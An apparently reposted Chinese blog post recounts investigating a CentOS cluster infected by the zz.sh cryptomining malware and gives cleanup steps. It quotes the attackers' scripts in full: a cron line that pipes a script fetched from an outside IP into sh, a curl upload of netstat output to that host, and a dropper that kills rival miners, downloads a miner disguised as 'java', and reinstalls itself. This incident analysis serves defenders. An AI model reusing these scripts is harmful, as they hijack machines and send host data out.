1. 程式人生 > >挖礦病毒zz.sh——記一次linux(centos)成為礦機後的排查與修復過程

挖礦病毒zz.sh——記一次linux(centos)成為礦機後的排查與修復過程

我們工作組的主機叢集某天被發現cpu利用率600%多,顯然被種了後門來挖礦。寫一下這篇文章來記錄排查過程中遇到的問題。

1.怎麼發現變礦機?

1)top 發現cpu炸了。這個也是常見的檢視方法

2)

netstat -natp

發現有幾個異常的tcp連線,一查ip,發現是俄羅斯,荷蘭的ip,估計主機被人種後門了

2.具體流程

crontab -l ,發現果然有一分鐘一次的定時任務,

* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

具體定時的向一個ip下載指令碼,指令碼長這個樣子

#!/bin/bash

#ps ax --sort=-pcpu > /tmp/tmp2.txt
netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "[email protected]/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt

LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
    LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
    LDR="wget -q -O -";
fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    $LDR https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | sh
else
    pwd
fi

指令碼做了以下幾件事

1.收集主機資訊,儲存到/tmp/tmp2.txt檔案下。本機工作在一個分散式叢集中,這一步可能是來收集叢集的ip

2.將主機資訊通過POST上傳到46.249.38.186的php後臺,查了一下,這主機也位於荷蘭,並且開了22埠。。這步貌似是收集主機網路連線資訊從而進行擴散攻擊指令碼的。

3.從bitbucket.org上下載指令碼並執行。完整的指令碼如下:

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba

pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf

pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    rm -rf /tmp/java
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/pscf3 $DIR/java
            ;;
            *)
                echo "Java wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    $WGET $DIR/java https://bitbucket.org/ktjght21/mygit/raw/master/x_64

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/java $DIR/pscf3
            ;;
            *)
                echo "Java wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi

if crontab -l | grep -q "46.249.38.186"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

看看 分為這幾步吧:

1.我開始以為是初始化

剛開始那一大堆pkill,xargs kill應該是強行停掉之前的工作程序,裡面竟然還出現了中文拼音命名的資料夾(/var/tmp/sishen)

後來查了查這個木馬,我去,原來大有來頭啊,

這是個搞比特幣挖礦的團伙,不知什麼情況我們的機子也被掃描到了。這一步竟然是黑吃黑,把機子上其他來源的挖礦程式全部搞死,這操作太騷了

2.下面這些,直接對tmp裡面的名字為java的檔案求校驗和,檢驗檔案完整性。開始我還以為這一步是檢驗java環境,後來發現這個名字叫java的檔案就是挖礦程式碼,偽裝名字為java,還是很可以的

DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    rm -rf /tmp/java
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi

if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi

如果沒有,就把當前目錄換為/var/tmp

netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9

先停掉這臺機子之前的挖礦程式碼產生的tcp連線,這些代理我查了查,都是些被礦池列黑名單的代理ip

if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi

如果沒關完,繼續關

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf https://bitbucket.org/ktjght21/mygit/raw/master/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi

然後看看本地的挖礦程序開始了沒,沒開始就先下一個json配置檔案,然後按照配置檔案執行檔名偽裝成java的挖礦程式碼

我們看一看downloadIfNeed(下圖)(如果沒有挖礦程式碼,就進行下載),下載的網址在這裡

直到挖礦程式碼下載完成

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            7f4d9a672bb7ff27f641d29b99ecb08a | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

最後,看看本地定時任務是不是被關掉了,如果真的被人關掉了,就重新把挖礦程式碼下載與執行程式,加到定時任務裡

if crontab -l | grep -q "46.249.38.186"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

最後掛上挖礦程式碼的連結

最後送上該木馬的解決方案:

1.關閉所有定時任務,刪除/var/spools/cron下面的所有相關檔案

2.配置iptables的INPUT鏈與OUTPUT鏈,加上DROP動作,把出現過的所有異常tcp連線的遠端ip都拉黑

3.手動kill掉所有挖礦以及有異常tcp連線的程序

4.刪除/tmp ,/var/tmp下面的所有相關的檔案

------------------------------------------------------分界線-----------------------------------------------------------

後來的事實證明,這個臭名昭著的團伙的操作遠遠不止上面那些

晚上我閒的無聊,又看了看ps  -aux後的輸出,我操,竟然還有異常tcp連線的程序,但是由於遠端ip被我拉黑了,這些程序都處於休眠狀態

root     29041  0.0  0.0 113176  1212 ?        Ss   01:47   0:00 /bin/bash -c wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh | bash
root     29043  0.0  0.0 152004  4292 ?        S    01:47   0:00 wget -q -O - https://bitbucket.org/ktjght21/mygit/raw/master/zz.sh

嚇得我趕快輸入crontab -l ,發現沒有定時任務啊,於是我又看了看/var/log/cron的日誌

Sep 27 20:01:01 slaver2 CROND[23061]: (root) CMD (run-parts /etc/cron.hourly)
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23061]: starting 0anacron
Sep 27 20:01:01 slaver2 anacron[23069]: Can't chdir to /var/spool/anacron: 沒有那個檔案或目錄
Sep 27 20:01:01 slaver2 run-parts(/etc/cron.hourly)[23072]: finished 0anacron
Sep 27 20:01:01 slaver2 CROND[23059]: (root) MAIL (mailed 100 bytes of output but got status 0x004b#012)

有一條是上面這樣的,原來在/etc資料夾下面還藏了一個每小時執行的任務啊,怪不得刪了那麼多東西還是有異常的tcp連線程序

然後我進入etc資料夾,ls -al | grep cron,果然啊

-rw-------.   1 root root      541 4月  11 09:48 anacrontab
drwxr-xr-x.   2 root root       54 8月   8 23:26 cron.d
drwxr-xr-x.   2 root root       66 9月  28 00:00 cron.daily
-rw-------.   1 root root        0 4月  11 09:48 cron.deny
drwxr-xr-x.   2 root root       31 9月  28 01:32 cron.hourly
drwxr-xr-x.   2 root root       15 9月  28 00:00 cron.monthly
-rw-r--r--.   1 root root      451 6月  10 2014 crontab
drwxr-xr-x.   2 root root       15 9月  28 00:00 cron.weekly

有幾個被最近修改過,進去一看,果然多了不少東西,把這些指令碼一刪完,搞定

相關推薦

病毒zz.sh——linux(centos)成為排查修復過程

我們工作組的主機叢集某天被發現cpu利用率600%多,顯然被種了後門來挖礦。寫一下這篇文章來記錄排查過程中遇到的問題。 1.怎麼發現變礦機? 1)top 發現cpu炸了。這個也是常見的檢視方法 2) netstat -natp 發現有幾個異常的tcp連線,一查ip,

解Bug之路-對端機器宕的tcp行為

# 解Bug之路-記一次對端機器宕機後的tcp行為 ## 前言 機器一般過質保之後,就會因為各種各樣的問題而宕機。而這一次的宕機,讓筆者觀察到了平常觀察不到的tcp在對端宕機情況下的行為。經過詳細跟蹤分析原因之後,發現可以通過調整核心tcp引數來減少宕機造成的影響。 ## Bug現場 筆者所在的公司用某個中介

linux運維面試問題~l

以及 負載均衡 可執行文件 記錄 固定 lin 公司 比較 均衡 簡介:群友在面試一家公司中,公司出了這樣的一個問題:我有兩組機器,A組機器地址為10.0.1.10到10.0.1.30,B組機器地址為10.0.1.60到10.0.1.90 把本地一個aaa的可執行文件,上傳

Linux下JavaWeb環境的搭建

上傳 部署 x64 blog 兩個 family cif 解壓 啟動   今天重裝了騰訊雲VPS的系統,那麽幾乎所有運行環境都要重新部署了。過程不難懂,但是也比較繁瑣,這次就寫下來,方便他人也方便自己日後參考參考。   我采用的是JDK+Tomcat的形式來進行Java

LINUX-CRONTAB失敗的排查案例

一段時間 執行 linu linux-c 權限 排查 左右 完成 進行 在LINUX中,使用crontab來做計劃任務是一件很常見的事。本文記錄一次排查過程 故障描述 在crontab 設置計劃任務,每天淩晨3點執行腳本 conrtab(3點)tomcat用戶--執行腳本

Linux系統安裝的異常(AMI配置)

pos 網卡配置 software blog let 一次 war win 版本 一、背景 安裝Linux系統(Debian 8.8),老是失敗,卡在Install Software (12%的位置) 二、解決? 網上搜到的解決方法 1. 安裝過程中不要拔網線(我沒拔)

linux下用git安裝fastadmin的過程

1.安裝寶塔面板,阿里雲配置對應的安全組.在軟體管理介面下載mysql,php,apache,pm2管理器,phpmyadmin.(php版本最好只安裝一個,不然你需要確定你安裝的擴充套件是否安裝在你所選擇的php版本,php -v可以檢視當前預設的php版本) 2.進入網站目錄,clone

linux pv missing故障

現象描述: linux一個邏輯卷lv_home丟失,無法正常掛載,之前掛載在/home目錄下: [root@VM001 ~]# cat /etc/fstab ....... /dev/VolGroup/lv_home /home ext4

尷尬的Java應用記憶體洩露排查

這星期被線上JVM記憶體佔用不斷增大的問題所困擾,自己提出了一些假設,然後去實施驗證都一一失敗了,有一些經驗和教訓在這裡分享下. 之所以是尷尬,是最後因為偶爾出現修復了另一個問題導致記憶體不再上升,但這之間的關係還未明瞭,還需要繼續追蹤. 這裡講述一下這次排查的過程. 直接記憶體的錯誤判斷 伺服器的JVM配

linux系統gpfs系統故障處理

故障現象:      客戶反應業務系統不能正常訪問,物理主機面板有告警燈。 故障判斷處理:    我們到達現場直接用顯示器接物理主機,顯示登入介面且可以正常登入。 1.檢視之後發現網路與閘道器不通。當時思路是將網路服務重啟。重啟網路服務卡死無法啟動,(思考:當時應該只

linux修改ip地址

step1: 預設linux關於ip的配置位於   /etc/sysconfig/network-scripts step2: 根據ipconfig獲取當前配置對應的檔名,我的這個是  enp2s0 step3:修改相應目錄下的配置檔案 IPAD

linux下串列埠資料丟包解決過程

專案中兩個晶片之間用串列埠進行通訊,由於傳輸格式中有校驗位,在資料量很大的時候總是校驗失敗。於是花了很長的時間最終解決了這個問題。 首先串列埠丟資料有兩種情況(明顯排除傳送端傳送的資料不對),第一種是通道也就是串列埠線或者連線口不行,無法承受很高的波特率(我使用的波特率是9

解Bug之路-中介軟體導致的慢SQL排查過程

解Bug之路-記一次中介軟體導致的慢SQL排查過程 前言 最近發現線上出現一個奇葩的問題,這問題讓筆者定位了好長時間,期間排查問題的過程還是挺有意思的,正好部落格也好久不更新了,就以此為素材寫出了本篇文章。 Bug現場 我們的分庫分表中介軟體在經過一年的沉澱之後,已經到了比較穩定的階段。而且經過線上壓

Linux下安裝pyspider的過程

首先執行pip install pyspider此時系統提示Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-Lau0Qp/pycurl/ You are using p

Linux伺服器磁碟空間佔用,大檔案查詢

好久沒寫東西了,很久之前弄了個伺服器玩玩,寫了點東西在上面放著,一直在不停的抓資料,也就沒怎麼看,最近閒來無事登入後臺檢視,發現我的媽呀,伺服器磁碟快滿了 剛開始以為抓取的太多,資料庫資料膨脹佔用了,於是登入MySQL檢視,發現有20多萬條記錄,咋看似乎佔

解Bug之路-中間件導致的慢SQL排查過程

有一個 bug 第一條 builder mstr 引入 i++ 原來 中間 解Bug之路-記一次中間件導致的慢SQL排查過程 前言 最近發現線上出現一個奇葩的問題,這問題讓筆者定位了好長時間,期間排查問題的過程還是挺有意思的,正好博客也好久不更新了,就以此為素材寫出了本篇文

Linux磁盤空間占滿無法刪除的故障

解決方案 占用 dac sof print 51cto 分享 int code 問題介紹 近日發現公司服務器的磁盤空間越來越滿,感覺快要爆掉的感覺,於是開始著手清清磁盤空間,但是找來找去,發現根目錄已經使用了90%以上,可是/下的目錄占的空間都非常小,始終找不到占滿磁盤空間

Linux防毒過程

不久前發現機器流出流量突然增加,經檢視在/tmp目錄下存在可疑檔案,並且存在.ssh程序,於是安裝clamav全盤掃描,最終確定機器中毒。 病毒現象 1、在tmp目錄下moni.lod、gates.lod、time、sess、java等可疑檔案 2、存在.ssh、gett

linux伺服器被攻擊的處理經歷

首先發現IO、流量異常。查詢登入記錄,果不其然last命令沒有結果,/var/log/wtmp檔案被刪除。查詢/var/log/secure檔案中的登入記錄:grep "Accept" /var/log/secure查dstat的日誌檔案,正是10:51分開始出現IO異常。用

Linux伺服器上查殺木馬經歷

[[email protected] tmp]# tar xvzf zlib-1.2.7.tar.gz [[email protected] tmp]# cd zlib-1.2.7 [[email protected] zlib-1.2.7]# ./configure Che